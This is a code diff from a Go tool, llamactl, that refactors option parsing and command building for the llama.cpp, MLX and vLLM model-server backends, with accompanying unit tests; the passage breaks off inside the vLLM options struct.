-		"--flash-attn",    // flash_attn -> flash-attn
-		"--top-k",         // top_k -> top-k
-		"--top-p",         // top_p -> top-p
-	}
-
-	for _, flag := range expectedFlags {
-		if !contains(args, flag) {
-			t.Errorf("Expected flag %q not found in %v", flag, args)
-		}
-	}
-}
-
-func TestUnmarshalJSON_StandardFields(t *testing.T) {
+func TestLlamaCppUnmarshalJSON_StandardFields(t *testing.T) {
 	jsonData := `{
 		"model": "/path/to/model.gguf",
 		"port": 8080,
@@ -234,7 +141,7 @@ func TestUnmarshalJSON_StandardFields(t *testing.T) {
 		"temp": 0.7
 	}`
 
-	var options llamacpp.LlamaServerOptions
+	var options backends.LlamaServerOptions
 	err := json.Unmarshal([]byte(jsonData), &options)
 	if err != nil {
 		t.Fatalf("Unmarshal failed: %v", err)
@@ -263,16 +170,16 @@ func TestUnmarshalJSON_StandardFields(t *testing.T) {
 	}
 }
 
-func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
+func TestLlamaCppUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 	tests := []struct {
 		name     string
 		jsonData string
-		checkFn  func(llamacpp.LlamaServerOptions) error
+		checkFn  func(backends.LlamaServerOptions) error
 	}{
 		{
 			name:     "threads alternatives",
 			jsonData: `{"t": 4, "tb": 2}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.Threads != 4 {
 					return fmt.Errorf("expected threads 4, got %d", opts.Threads)
 				}
@@ -285,7 +192,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "context size alternatives",
 			jsonData: `{"c": 2048}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.CtxSize != 2048 {
 					return fmt.Errorf("expected ctx_size 4096, got %d", opts.CtxSize)
 				}
@@ -295,7 +202,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "gpu layers alternatives",
 			jsonData: `{"ngl": 16}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.GPULayers != 16 {
 					return fmt.Errorf("expected gpu_layers 32, got %d", opts.GPULayers)
 				}
@@ -305,7 +212,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "model alternatives",
 			jsonData: `{"m": "/path/model.gguf"}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.Model != "/path/model.gguf" {
 					return fmt.Errorf("expected model '/path/model.gguf', got %q", opts.Model)
 				}
@@ -315,7 +222,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 		{
 			name:     "temperature alternatives",
 			jsonData: `{"temp": 0.8}`,
-			checkFn: func(opts llamacpp.LlamaServerOptions) error {
+			checkFn: func(opts backends.LlamaServerOptions) error {
 				if opts.Temperature != 0.8 {
 					return fmt.Errorf("expected temperature 0.8, got %f", opts.Temperature)
 				}
@@ -326,7 +233,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			var options llamacpp.LlamaServerOptions
+			var options backends.LlamaServerOptions
 			err := json.Unmarshal([]byte(tt.jsonData), &options)
 			if err != nil {
 				t.Fatalf("Unmarshal failed: %v", err)
@@ -339,24 +246,24 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) {
 	}
 }
 
-func TestUnmarshalJSON_InvalidJSON(t *testing.T) {
+func TestLlamaCppUnmarshalJSON_InvalidJSON(t *testing.T) {
 	invalidJSON := `{"port": "not-a-number", "invalid": syntax}`
 
-	var options llamacpp.LlamaServerOptions
+	var options backends.LlamaServerOptions
 	err := json.Unmarshal([]byte(invalidJSON), &options)
 	if err == nil {
 		t.Error("Expected error for invalid JSON")
 	}
 }
 
-func TestUnmarshalJSON_ArrayFields(t *testing.T) {
+func TestLlamaCppUnmarshalJSON_ArrayFields(t *testing.T) {
 	jsonData := `{
 		"lora": ["adapter1.bin", "adapter2.bin"],
 		"override_tensor": ["tensor1", "tensor2"],
 		"dry_sequence_breaker": [".", "!", "?"]
 	}`
 
-	var options llamacpp.LlamaServerOptions
+	var options backends.LlamaServerOptions
 	err := json.Unmarshal([]byte(jsonData), &options)
 	if err != nil {
 		t.Fatalf("Unmarshal failed: %v", err)
@@ -378,19 +285,152 @@ func TestUnmarshalJSON_ArrayFields(t *testing.T) {
 	}
 }
 
-// Helper functions
-func contains(slice []string, item string) bool {
-	return slices.Contains(slice, item)
+func TestParseLlamaCommand(t *testing.T) {
+	tests := []struct {
+		name      string
+		command   string
+		expectErr bool
+		validate  func(*testing.T, *backends.LlamaServerOptions)
+	}{
+		{
+			name:      "basic command",
+			command:   "llama-server --model /path/to/model.gguf --gpu-layers 32",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.LlamaServerOptions) {
+				if opts.Model != "/path/to/model.gguf" {
+					t.Errorf("expected model '/path/to/model.gguf', got '%s'", opts.Model)
+				}
+				if opts.GPULayers != 32 {
+					t.Errorf("expected gpu_layers 32, got %d", opts.GPULayers)
+				}
+			},
+		},
+		{
+			name:      "args only",
+			command:   "--model /path/to/model.gguf --ctx-size 4096",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.LlamaServerOptions) {
+				if opts.Model != "/path/to/model.gguf" {
+					t.Errorf("expected model '/path/to/model.gguf', got '%s'", opts.Model)
+				}
+				if opts.CtxSize != 4096 {
+					t.Errorf("expected ctx_size 4096, got %d", opts.CtxSize)
+				}
+			},
+		},
+		{
+			name:      "mixed flag formats",
+			command:   "llama-server --model=/path/model.gguf --gpu-layers 16 --verbose",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.LlamaServerOptions) {
+				if opts.Model != "/path/model.gguf" {
+					t.Errorf("expected model '/path/model.gguf', got '%s'", opts.Model)
+				}
+				if opts.GPULayers != 16 {
+					t.Errorf("expected gpu_layers 16, got %d", opts.GPULayers)
+				}
+				if !opts.Verbose {
+					t.Errorf("expected verbose to be true")
+				}
+			},
+		},
+		{
+			name:      "quoted strings",
+			command:   `llama-server --model test.gguf --api-key "sk-1234567890abcdef"`,
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.LlamaServerOptions) {
+				if opts.APIKey != "sk-1234567890abcdef" {
+					t.Errorf("expected api_key 'sk-1234567890abcdef', got '%s'", opts.APIKey)
+				}
+			},
+		},
+		{
+			name:      "multiple value types",
+			command:   "llama-server --model /test/model.gguf --gpu-layers 32 --temp 0.7 --verbose --no-mmap",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.LlamaServerOptions) {
+				if opts.Model != "/test/model.gguf" {
+					t.Errorf("expected model '/test/model.gguf', got '%s'", opts.Model)
+				}
+				if opts.GPULayers != 32 {
+					t.Errorf("expected gpu_layers 32, got %d", opts.GPULayers)
+				}
+				if opts.Temperature != 0.7 {
+					t.Errorf("expected temperature 0.7, got %f", opts.Temperature)
+				}
+				if !opts.Verbose {
+					t.Errorf("expected verbose to be true")
+				}
+				if !opts.NoMmap {
+					t.Errorf("expected no_mmap to be true")
+				}
+			},
+		},
+		{
+			name:      "empty command",
+			command:   "",
+			expectErr: true,
+		},
+		{
+			name:      "unterminated quote",
+			command:   `llama-server --model test.gguf --api-key "unterminated`,
+			expectErr: true,
+		},
+		{
+			name:      "malformed flag",
+			command:   "llama-server ---model test.gguf",
+			expectErr: true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			var opts backends.LlamaServerOptions
+			resultAny, err := opts.ParseCommand(tt.command)
+			result, _ := resultAny.(*backends.LlamaServerOptions)
+
+			if tt.expectErr {
+				if err == nil {
+					t.Errorf("expected error but got none")
+				}
+				return
+			}
+
+			if err != nil {
+				t.Errorf("unexpected error: %v", err)
+				return
+			}
+
+			if result == nil {
+				t.Errorf("expected result but got nil")
+				return
+			}
+
+			if tt.validate != nil {
+				tt.validate(t, result)
+			}
+		})
+	}
 }
 
-func containsFlagWithValue(args []string, flag, value string) bool {
-	for i, arg := range args {
-		if arg == flag {
-			// Check if there's a next argument and it matches the expected value
-			if i+1 < len(args) && args[i+1] == value {
-				return true
-			}
+func TestParseLlamaCommandArrays(t *testing.T) {
+	command := "llama-server --model test.gguf --lora adapter1.bin --lora=adapter2.bin"
+	var opts backends.LlamaServerOptions
+	resultAny, err := opts.ParseCommand(command)
+	result, _ := resultAny.(*backends.LlamaServerOptions)
+
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Lora) != 2 {
+		t.Errorf("expected 2 lora adapters, got %d", len(result.Lora))
+	}
+
+	expected := []string{"adapter1.bin", "adapter2.bin"}
+	for i, v := range expected {
+		if result.Lora[i] != v {
+			t.Errorf("expected lora[%d]=%s got %s", i, v, result.Lora[i])
 		}
 	}
-	return false
 }

pkg/backends/mlx.go

@@ -0,0 +1,90 @@
+package backends
+
+import (
+	"fmt"
+	"llamactl/pkg/validation"
+)
+
+type MlxServerOptions struct {
+	// Basic connection options
+	Model string `json:"model,omitempty"`
+	Host  string `json:"host,omitempty"`
+	Port  int    `json:"port,omitempty"`
+
+	// Model and adapter options
+	AdapterPath     string `json:"adapter_path,omitempty"`
+	DraftModel      string `json:"draft_model,omitempty"`
+	NumDraftTokens  int    `json:"num_draft_tokens,omitempty"`
+	TrustRemoteCode bool   `json:"trust_remote_code,omitempty"`
+
+	// Logging and templates
+	LogLevel               string `json:"log_level,omitempty"`
+	ChatTemplate           string `json:"chat_template,omitempty"`
+	UseDefaultChatTemplate bool   `json:"use_default_chat_template,omitempty"`
+	ChatTemplateArgs       string `json:"chat_template_args,omitempty"` // JSON string
+
+	// Sampling defaults
+	Temp      float64 `json:"temp,omitempty"`
+	TopP      float64 `json:"top_p,omitempty"`
+	TopK      int     `json:"top_k,omitempty"`
+	MinP      float64 `json:"min_p,omitempty"`
+	MaxTokens int     `json:"max_tokens,omitempty"`
+}
+
+func (o *MlxServerOptions) GetPort() int {
+	return o.Port
+}
+
+func (o *MlxServerOptions) SetPort(port int) {
+	o.Port = port
+}
+
+func (o *MlxServerOptions) GetHost() string {
+	return o.Host
+}
+
+func (o *MlxServerOptions) Validate() error {
+	if o == nil {
+		return validation.ValidationError(fmt.Errorf("MLX server options cannot be nil for MLX backend"))
+	}
+
+	if err := validation.ValidateStructStrings(o, ""); err != nil {
+		return err
+	}
+
+	// Basic network validation for port
+	if o.Port < 0 || o.Port > 65535 {
+		return validation.ValidationError(fmt.Errorf("invalid port range: %d", o.Port))
+	}
+
+	return nil
+}
+
+// BuildCommandArgs converts to command line arguments
+func (o *MlxServerOptions) BuildCommandArgs() []string {
+	multipleFlags := map[string]struct{}{} // MLX doesn't currently have []string fields
+	return BuildCommandArgs(o, multipleFlags)
+}
+
+func (o *MlxServerOptions) BuildDockerArgs() []string {
+	return []string{}
+}
+
+// ParseCommand parses a mlx_lm.server command string into MlxServerOptions
+// Supports multiple formats:
+// 1. Full command: "mlx_lm.server --model model/path"
+// 2. Full path: "/usr/local/bin/mlx_lm.server --model model/path"
+// 3. Args only: "--model model/path --host 0.0.0.0"
+// 4. Multiline commands with backslashes
+func (o *MlxServerOptions) ParseCommand(command string) (any, error) {
+	executableNames := []string{"mlx_lm.server"}
+	var subcommandNames []string            // MLX has no subcommands
+	multiValuedFlags := map[string]struct{}{} // MLX has no multi-valued flags
+
+	var mlxOptions MlxServerOptions
+	if err := parseCommand(command, executableNames, subcommandNames, multiValuedFlags, &mlxOptions); err != nil {
+		return nil, err
+	}
+
+	return &mlxOptions, nil
+}

pkg/backends/mlx_test.go

@@ -0,0 +1,204 @@
+package backends_test
+
+import (
+	"llamactl/pkg/backends"
+	"llamactl/pkg/testutil"
+	"testing"
+)
+
+func TestParseMlxCommand(t *testing.T) {
+	tests := []struct {
+		name      string
+		command   string
+		expectErr bool
+		validate  func(*testing.T, *backends.MlxServerOptions)
+	}{
+		{
+			name:      "basic command",
+			command:   "mlx_lm.server --model /path/to/model --host 0.0.0.0",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.MlxServerOptions) {
+				if opts.Model != "/path/to/model" {
+					t.Errorf("expected model '/path/to/model', got '%s'", opts.Model)
+				}
+				if opts.Host != "0.0.0.0" {
+					t.Errorf("expected host '0.0.0.0', got '%s'", opts.Host)
+				}
+			},
+		},
+		{
+			name:      "args only",
+			command:   "--model /path/to/model --port 8080",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.MlxServerOptions) {
+				if opts.Model != "/path/to/model" {
+					t.Errorf("expected model '/path/to/model', got '%s'", opts.Model)
+				}
+				if opts.Port != 8080 {
+					t.Errorf("expected port 8080, got %d", opts.Port)
+				}
+			},
+		},
+		{
+			name:      "mixed flag formats",
+			command:   "mlx_lm.server --model=/path/model --temp=0.7 --trust-remote-code",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.MlxServerOptions) {
+				if opts.Model != "/path/model" {
+					t.Errorf("expected model '/path/model', got '%s'", opts.Model)
+				}
+				if opts.Temp != 0.7 {
+					t.Errorf("expected temp 0.7, got %f", opts.Temp)
+				}
+				if !opts.TrustRemoteCode {
+					t.Errorf("expected trust_remote_code to be true")
+				}
+			},
+		},
+		{
+			name:      "multiple value types",
+			command:   "mlx_lm.server --model /test/model.mlx --port 8080 --temp 0.7 --trust-remote-code --log-level DEBUG",
+			expectErr: false,
+			validate: func(t *testing.T, opts *backends.MlxServerOptions) {
+				if opts.Model != "/test/model.mlx" {
+					t.Errorf("expected model '/test/model.mlx', got '%s'", opts.Model)
+				}
+				if opts.Port != 8080 {
+					t.Errorf("expected port 8080, got %d", opts.Port)
+				}
+				if opts.Temp != 0.7 {
+					t.Errorf("expected temp 0.7, got %f", opts.Temp)
+				}
+				if !opts.TrustRemoteCode {
+					t.Errorf("expected trust_remote_code to be true")
+				}
+				if opts.LogLevel != "DEBUG" {
+					t.Errorf("expected log_level 'DEBUG', got '%s'", opts.LogLevel)
+				}
+			},
+		},
+		{
+			name:      "empty command",
+			command:   "",
+			expectErr: true,
+		},
+		{
+			name:      "unterminated quote",
+			command:   `mlx_lm.server --model test.mlx --chat-template "unterminated`,
+			expectErr: true,
+		},
+		{
+			name:      "malformed flag",
+			command:   "mlx_lm.server ---model test.mlx",
+			expectErr: true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			var opts backends.MlxServerOptions
+			resultAny, err := opts.ParseCommand(tt.command)
+			result, _ := resultAny.(*backends.MlxServerOptions)
+
+			if tt.expectErr {
+				if err == nil {
+					t.Errorf("expected error but got none")
+				}
+				return
+			}
+
+			if err != nil {
+				t.Errorf("unexpected error: %v", err)
+				return
+			}
+
+			if result == nil {
+				t.Errorf("expected result but got nil")
+				return
+			}
+
+			if tt.validate != nil {
+				tt.validate(t, result)
+			}
+		})
+	}
+}
+
+func TestMlxBuildCommandArgs_BooleanFields(t *testing.T) {
+	tests := []struct {
+		name     string
+		options  backends.MlxServerOptions
+		expected []string
+		excluded []string
+	}{
+		{
+			name: "trust_remote_code true",
+			options: backends.MlxServerOptions{
+				TrustRemoteCode: true,
+			},
+			expected: []string{"--trust-remote-code"},
+		},
+		{
+			name: "trust_remote_code false",
+			options: backends.MlxServerOptions{
+				TrustRemoteCode: false,
+			},
+			excluded: []string{"--trust-remote-code"},
+		},
+		{
+			name: "multiple booleans",
+			options: backends.MlxServerOptions{
+				TrustRemoteCode:        true,
+				UseDefaultChatTemplate: true,
+			},
+			expected: []string{"--trust-remote-code", "--use-default-chat-template"},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			args := tt.options.BuildCommandArgs()
+
+			for _, expectedArg := range tt.expected {
+				if !testutil.Contains(args, expectedArg) {
+					t.Errorf("Expected argument %q not found in %v", expectedArg, args)
+				}
+			}
+
+			for _, excludedArg := range tt.excluded {
+				if testutil.Contains(args, excludedArg) {
+					t.Errorf("Excluded argument %q found in %v", excludedArg, args)
+				}
+			}
+		})
+	}
+}
+
+func TestMlxBuildCommandArgs_ZeroValues(t *testing.T) {
+	options := backends.MlxServerOptions{
+		Port:            0,     // Should be excluded
+		TopK:            0,     // Should be excluded
+		Temp:            0,     // Should be excluded
+		Model:           "",    // Should be excluded
+		LogLevel:        "",    // Should be excluded
+		TrustRemoteCode: false, // Should be excluded
+	}
+
+	args := options.BuildCommandArgs()
+
+	// Zero values should not appear in arguments
+	excludedArgs := []string{
+		"--port", "0",
+		"--top-k", "0",
+		"--temp", "0",
+		"--model", "",
+		"--log-level", "",
+		"--trust-remote-code",
+	}
+
+	for _, excludedArg := range excludedArgs {
+		if testutil.Contains(args, excludedArg) {
+			t.Errorf("Zero value argument %q should not be present in %v", excludedArg, args)
+		}
+	}
+}

pkg/backends/parser.go

@@ -0,0 +1,213 @@
+package backends
+
+import (
+	"encoding/json"
+	"fmt"
+	"path/filepath"
+	"regexp"
+	"strconv"
+	"strings"
+)
+
+// parseCommand parses a command string into a target struct
+func parseCommand(command string, executableNames []string, subcommandNames []string, multiValuedFlags map[string]struct{}, target any) error {
+	// Normalize multiline commands
+	command = normalizeCommand(command)
+	if command == "" {
+		return fmt.Errorf("command cannot be empty")
+	}
+
+	// Extract arguments and positional model
+	args, modelFromPositional, err := extractArgs(command, executableNames, subcommandNames)
+	if err != nil {
+		return err
+	}
+
+	// Parse flags into map
+	options, err := parseFlags(args, multiValuedFlags)
+	if err != nil {
+		return err
+	}
+
+	// If we found a positional model and no --model flag was provided, set the model
+	if modelFromPositional != "" {
+		if _, hasModelFlag := options["model"]; !hasModelFlag {
+			options["model"] = modelFromPositional
+		}
+	}
+
+	// Convert to target struct via JSON
+	jsonData, err := json.Marshal(options)
+	if err != nil {
+		return fmt.Errorf("failed to marshal options: %w", err)
+	}
+
+	if err := json.Unmarshal(jsonData, target); err != nil {
+		return fmt.Errorf("failed to unmarshal to target: %w", err)
+	}
+
+	return nil
+}
+
+// normalizeCommand handles multiline commands with backslashes
+func normalizeCommand(command string) string {
+	re := regexp.MustCompile(`\\\s*\n\s*`)
+	normalized := re.ReplaceAllString(command, " ")
+	re = regexp.MustCompile(`\s+`)
+	return strings.TrimSpace(re.ReplaceAllString(normalized, " "))
+}
+
+// extractArgs extracts arguments from command, removing executable and subcommands
+// Returns: args, modelFromPositional, error
+func extractArgs(command string, executableNames []string, subcommandNames []string) ([]string, string, error) {
+	// Check for unterminated quotes
+	if strings.Count(command, `"`)%2 != 0 || strings.Count(command, `'`)%2 != 0 {
+		return nil, "", fmt.Errorf("unterminated quoted string")
+	}
+
+	tokens := strings.Fields(command)
+	if len(tokens) == 0 {
+		return nil, "", fmt.Errorf("no tokens found")
+	}
+
+	// Skip executable
+	start := 0
+	firstToken := tokens[0]
+
+	// Check for executable name (with or without path)
+	if strings.Contains(firstToken, string(filepath.Separator)) {
+		baseName := filepath.Base(firstToken)
+		for _, execName := range executableNames {
+			if strings.HasSuffix(strings.ToLower(baseName), strings.ToLower(execName)) {
+				start = 1
+				break
+			}
+		}
+	} else {
+		for _, execName := range executableNames {
+			if strings.EqualFold(firstToken, execName) {
+				start = 1
+				break
+			}
+		}
+	}
+
+	// Skip subcommand if present
+	if start < len(tokens) {
+		for _, subCmd := range subcommandNames {
+			if strings.EqualFold(tokens[start], subCmd) {
+				start++
+				break
+			}
+		}
+	}
+
+	// Handle case where command starts with subcommand (no executable)
+	if start == 0 {
+		for _, subCmd := range subcommandNames {
+			if strings.EqualFold(firstToken, subCmd) {
+				start = 1
+				break
+			}
+		}
+	}
+
+	args := tokens[start:]
+
+	// Extract first positional argument (model) if present and not a flag
+	var modelFromPositional string
+	if len(args) > 0 && !strings.HasPrefix(args[0], "-") {
+		modelFromPositional = args[0]
+		args = args[1:] // Remove the model from args to process remaining flags
+	}
+
+	return args, modelFromPositional, nil
+}
+
+// parseFlags parses command line flags into a map
+func parseFlags(args []string, multiValuedFlags map[string]struct{}) (map[string]any, error) {
+	options := make(map[string]any)
+
+	for i := 0; i < len(args); i++ {
+		arg := args[i]
+
+		if !strings.HasPrefix(arg, "-") {
+			continue
+		}
+
+		// Check for malformed flags (more than two leading dashes)
+		if strings.HasPrefix(arg, "---") {
+			return nil, fmt.Errorf("malformed flag: %s", arg)
+		}
+
+		// Get flag name and value
+		var flagName, value string
+		var hasValue bool
+
+		if strings.Contains(arg, "=") {
+			parts := strings.SplitN(arg, "=", 2)
+			flagName = strings.TrimLeft(parts[0], "-")
+			value = parts[1]
+			hasValue = true
+		} else {
+			flagName = strings.TrimLeft(arg, "-")
+			if i+1 < len(args) && !strings.HasPrefix(args[i+1], "-") {
+				value = args[i+1]
+				hasValue = true
+				i++ // Skip next arg since we consumed it
+			}
+		}
+
+		// Convert kebab-case to snake_case for JSON
+		flagName = strings.ReplaceAll(flagName, "-", "_")
+
+		if hasValue {
+			// Handle multi-valued flags
+			if _, isMultiValue := multiValuedFlags[flagName]; isMultiValue {
+				if existing, ok := options[flagName].([]string); ok {
+					options[flagName] = append(existing, value)
+				} else {
+					options[flagName] = []string{value}
+				}
+			} else {
+				options[flagName] = parseValue(value)
+			}
+		} else {
+			// Boolean flag
+			options[flagName] = true
+		}
+	}
+
+	return options, nil
+}
+
+// parseValue converts string to appropriate type
+func parseValue(value string) any {
+	// Remove quotes
+	if len(value) >= 2 {
+		if (value[0] == '"' && value[len(value)-1] == '"') || (value[0] == '\'' && value[len(value)-1] == '\'') {
+			value = value[1 : len(value)-1]
+		}
+	}
+
+	// Try boolean
+	switch strings.ToLower(value) {
+	case "true":
+		return true
+	case "false":
+		return false
+	}
+
+	// Try integer
+	if intVal, err := strconv.Atoi(value); err == nil {
+		return intVal
+	}
+
+	// Try float
+	if floatVal, err := strconv.ParseFloat(value, 64); err == nil {
+		return floatVal
+	}
+
+	// Return as string
+	return value
+}

pkg/backends/vllm.go

@@ -0,0 +1,226 @@
+package backends
+
+import (
+	"fmt"
+	"llamactl/pkg/validation"
+)
+
+// vllmMultiValuedFlags defines flags that should be repeated for each value rather than comma-separated
+// Based on vLLM's CLI argument definitions with action='append' or List types
+// Keys use snake_case as the parser converts kebab-case flags to snake_case before lookup
+var vllmMultiValuedFlags = map[string]struct{}{
+	"api_key":         {}, // --api-key (action='append')
+	"allowed_origins": {}, // --allowed-origins (List type)
+	"allowed_methods": {}, // --allowed-methods (List type)
+	"allowed_headers": {}, // --allowed-headers (List type)
+	"middleware":      {}, // --middleware (action='append')
+	"lora_modules":    {}, // --lora-modules (custom LoRAParserAction, accepts multiple)
+	"prompt_adapters": {}, // --prompt-adapters (similar to lora-modules, accepts multiple)
+}
+
+type VllmServerOptions struct {
+	// Basic connection options (auto-assigned by llamactl)
+	Host string `json:"host,omitempty"`
+	Port int    `json:"port,omitempty"`
+
+	// Model and engine configuration
+	Model                      string `json:"model,omitempty"`
+	Tokenizer                  string `json:"tokenizer,omitempty"`
+	SkipTokenizerInit          bool   `json:"skip_tokenizer_init,omitempty"`
+	Revision                   string `json:"revision,omitempty"`
+	CodeRevision               string `json:"code_revision,omitempty"`
+	TokenizerRevision          string `json:"tokenizer_revision,omitempty"`
+	TokenizerMode              string `json:"tokenizer_mode,omitempty"`
+	TrustRemoteCode            bool   `json:"trust_remote_code,omitempty"`
+	DownloadDir                string `json:"download_dir,omitempty"`
+	LoadFormat                 string `json:"load_format,omitempty"`
+	ConfigFormat               string `json:"config_format,omitempty"`
+	Dtype                      string `json:"dtype,omitempty"`
+	KVCacheDtype               string `json:"kv_cache_dtype,omitempty"`
+	QuantizationParamPath      string `json:"quantization_param_path,omitempty"`
+	Seed                       int    `json:"seed,omitempty"`
+	MaxModelLen                int    `json:"max_model_len,omitempty"`
+	GuidedDecodingBackend      string `json:"guided_decoding_backend,omitempty"`
+	DistributedExecutorBackend string `json:"distributed_executor_backend,omitempty"`
+	WorkerUseRay               bool   `json:"worker_use_ray,omitempty"`
+	RayWorkersUseNSight        bool   `json:"ray_workers_use_nsight,omitempty"`
+
+	// Performance and serving configuration
+	BlockSize                int     `json:"block_size,omitempty"`
+	EnablePrefixCaching      bool    `json:"enable_prefix_caching,omitempty"`
+	DisableSlidingWindow     bool    `json:"disable_sliding_window,omitempty"`
+	UseV2BlockManager        bool    `json:"use_v2_block_manager,omitempty"`
+	NumLookaheadSlots        int     `json:"num_lookahead_slots,omitempty"`
+	SwapSpace                int     `json:"swap_space,omitempty"`
+	CPUOffloadGB             int     `json:"cpu_offload_gb,omitempty"`
+	GPUMemoryUtilization     float64 `json:"gpu_memory_utilization,omitempty"`
+	NumGPUBlocksOverride     int     `json:"num_gpu_blocks_override,omitempty"`
+	MaxNumBatchedTokens      int     `json:"max_num_batched_tokens,omitempty"`
+	MaxNumSeqs               int     `json:"max_num_seqs,omitempty"`
+	MaxLogprobs              int     `json:"max_logprobs,omitempty"`
+	DisableLogStats          bool    `json:"disable_log_stats,omitempty"`
+	Quantization             string  `json:"quantization,omitempty"`
+	RopeScaling              string  `json:"rope_scaling,omitempty"`
+	RopeTheta                float64 `json:"rope_theta,omitempty"`
+	EnforceEager             bool    `json:"enforce_eager,omitempty"`
+	MaxContextLenToCapture   int     `json:"max_context_len_to_capture,omitempty"`
+	MaxSeqLenToCapture       int     `json:"max_seq_len_to_capture,omitempty"`
+	DisableCustomAllReduce   bool    `json:"disable_custom_all_reduce,omitempty"`
+	TokenizerPoolSize        int     `json:"tokenizer_pool_size,omitempty"`
+	TokenizerPoolType        string  `json:"tokenizer_pool_type,omitempty"`
+	TokenizerPoolExtraConfig string  `json:"tokenizer_pool_extra_config,omitempty"`
+	EnableLoraBias           bool    `json:"enable_lora_bias,omitempty"`
+	LoraExtraVocabSize       int     `json:"lora_extra_vocab_size,omitempty"`
+	LoraRank                 int     `json:"lora_rank,omitempty"`
+	PromptLookbackDistance   int     `json:"prompt_lookback_distance,omitempty"`
+	PreemptionMode           string  `json:"preemption_mode,omitempty"`
+
+	// Distributed and parallel processing
+	TensorParallelSize            int     `json:"tensor_parallel_size,omitempty"`
+	PipelineParallelSize          int     `json:"pipeline_parallel_size,omitempty"`
+	MaxParallelLoadingWorkers     int     `json:"max_parallel_loading_workers,omitempty"`
+	DisableAsyncOutputProc        bool    `json:"disable_async_output_proc,omitempty"`
+	WorkerClass                   string  `json:"worker_class,omitempty"`
+	EnabledLoraModules            string  `json:"enabled_lora_modules,omitempty"`
+	MaxLoraRank                   int     `json:"max_lora_rank,omitempty"`
+	FullyShardedLoras             bool    `json:"fully_sharded_loras,omitempty"`
+	LoraModules                   string  `json:"lora_modules,omitempty"`
+	PromptAdapters                string  `json:"prompt_adapters,omitempty"`
+	MaxPromptAdapterToken         int     `json:"max_prompt_adapter_token,omitempty"`
+	Device                        string  `json:"device,omitempty"`
+	SchedulerDelay                float64 `json:"scheduler_delay,omitempty"`
+	EnableChunkedPrefill          bool    `json:"enable_chunked_prefill,omitempty"`
+	SpeculativeModel              string  `json:"speculative_model,omitempty"`
+	SpeculativeModelQuantization  string  `json:"speculative_model_quantization,omitempty"`
+	SpeculativeRevision           string  `json:"speculative_revision,omitempty"`
+	SpeculativeMaxModelLen        int     `json:"speculative_max_model_len,omitempty"`
+	SpeculativeDisableByBatchSize int     `json:"speculative_disable_by_batch_size,omitempty"`
+	NgptSpeculativeLength         int     `json:"ngpt_speculative_length,omitempty"`
+	SpeculativeDisableMqa         bool    `json:"speculative_disable_mqa,omitempty"`
+	ModelLoaderExtraConfig        string  `json:"model_loader_extra_config,omitempty"`
+	IgnorePatterns                string  `json:"ignore_patterns,omitempty"`
+	PreloadedLoraModules          string  `json:"preloaded_lora_modules,omitempty"`
+
+	// OpenAI server specific options
+	UDS                            string   `json:"uds,omitempty"`
+	UvicornLogLevel                string   `json:"uvicorn_log_level,omitempty"`
+	ResponseRole                   string   `json:"response_role,omitempty"`
+	SSLKeyfile                     string   `json:"ssl_keyfile,omitempty"`
+	SSLCertfile                    string   `json:"ssl_certfile,omitempty"`
+	SSLCACerts                     string   `json:"ssl_ca_certs,omitempty"`
+	SSLCertReqs                    int      `json:"ssl_cert_reqs,omitempty"`
+	RootPath                       string   `json:"root_path,omitempty"`
+	Middleware                     []string `json:"middleware,omitempty"`
+	ReturnTokensAsTokenIDS         bool     `json:"return_tokens_as_token_ids,omitempty"`
+	DisableFrontendMultiprocessing bool     `json:"disable_frontend_multiprocessing,omitempty"`
+	EnableAutoToolChoice           bool     `json:"enable_auto_tool_choice,omitempty"`
+	ToolCallParser                 string   `json:"tool_call_parser,omitempty"`
+	ToolServer                     string   `json:"tool_server,omitempty"`
+	ChatTemplate                   string   `json:"chat_template,omitempty"`
+	ChatTemplateContentFormat      string   `json:"chat_template_content_format,omitempty"`
+	AllowCredentials               bool     `json:"allow_credentials,omitempty"`
+	AllowedOrigins                 []string `json:"allowed_origins,omitempty"`
+	AllowedMethods                 []string `json:"allowed_methods,omitempty"`
+	AllowedHeaders                 []string `json:"allowed_headers,omitempty"`
+	APIKey                         []string `json:"api_key,omitempty"`
+	EnableLogOutputs               bool     `json:"enable_log_outputs,omitempty"`
+	EnableTokenUsage               bool     `json:"enable_token_usage,omitempty"`
+	EnableAsyncEngineDebug         bool     `json:"enable_async_engine_debug,omitempty"`
+	EngineUseRay                   bool     `json:"engine_use_ray,omitempty"`
+	DisableLogRequests             bool     `json:"disable_log_requests,omitempty"`
+	MaxLogLen                      int      `json:"max_log_len,omitempty"`
+
+	// Additional engine configuration
+	Task                      string `json:"task,omitempty"`
+	MultiModalConfig          string `json:"multi_modal_config,omitempty"`
